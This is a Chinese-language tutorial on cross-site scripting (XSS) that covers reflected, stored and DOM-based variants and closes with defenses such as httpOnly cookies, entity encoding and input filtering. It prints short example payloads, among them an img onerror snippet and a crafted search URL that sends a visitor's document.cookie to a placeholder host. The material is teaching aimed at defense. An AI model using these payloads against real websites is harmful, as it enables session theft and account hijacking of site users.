XSS是什么
XSS中文名为跨站脚本, 是发生在目标用户的浏览器层面上的,当渲染DOM树的过程成发生了不在预期内执行的JS代码时,就发生了XSS攻击。大多数XSS攻击的主要方式是嵌入一段远程或者第三方域上的JS代码。实际上是在目标网站的作用域下执行了这段js代码。
XSS攻击类型
- XSS反射型攻击
反射型XSS,也叫非持久型XSS,是指发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含XSS代码,最后浏览器解析并执行。
例子
- 假如在一个页面的搜索框,填入
“<script>alert(document.cookie)</script>”
点击搜索。 - 但是前端页面没有对返回的数据进行过滤,直接显示在页面上, 通过alert获取到了个人的cookie信息。
3.同时可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址获取到其他人的cookie:
http://xxx/search?keyword=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
当别人一点击这个链接就会被获取到其cookie。如果是黑客的话,他们会注入一段第三方的js代码,然后将获取到的cookie信息存到他们的服务器上。这样的话黑客们就有机会拿到我们的身份认证做一些违法的事情了。
- 存储型 XSS
存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了,而是从服务器读取。
存储型XSS是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
例子
- 发一篇文章,里面包含了恶意脚本
咱们裸熊真好看!<script>alert('handsome boy')</script>
- 后端没有对文章进行过滤,直接保存文章内容到数据库。
- 当其他看这篇文章的时候,包含的恶意脚本就会执行。
- DOM XSS
DOM XSS代码不需要服务器端的解析响应的直接参与,而是通过浏览器端的DOM解析。DOM XSS代码的攻击发生的可能在于我们编写JS代码造成的。我们知道eval语句有一个作用是将一段字符串转换为真正的JS语句,因此在JS中使用eval是很危险的事情,容易造成XSS攻击。避免使用eval语句。test.addEventListener('click', function () { var node = window.eval(txt.value) window.alert(node) }, false) txt中的代码如下 <img src='null' onerror='alert(123)' />
XSS危害
- 通过document.cookie盗取cookie
- 使用js或css破坏页面正常的结构与样式
- 流量劫持(通过访问某段具有window.location.href定位到其他页面)
- Dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
XSS防范
- 对cookie的保护
对重要的cookie设置httpOnly, 防止客户端通过document.cookie读取cookie。服务端可以设置此字段。 - 对用户输入数据的处理
- 编码:不能对用户输入的内容都保持原样,对用户输入的数据进行字符实体编码。对于字符实体的概念可以参考文章底部给出的参考链接。
- 解码:原样显示内容的时候必须解码,不然显示不到内容了。
- 过滤:当服务端不校验时候,前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。把输入的一些不合法的东西都过滤掉,从而保证安全性。如移除用户上传的DOM属性,如onerror,移除用户上传的Style节点,iframe, script节点等。
参考: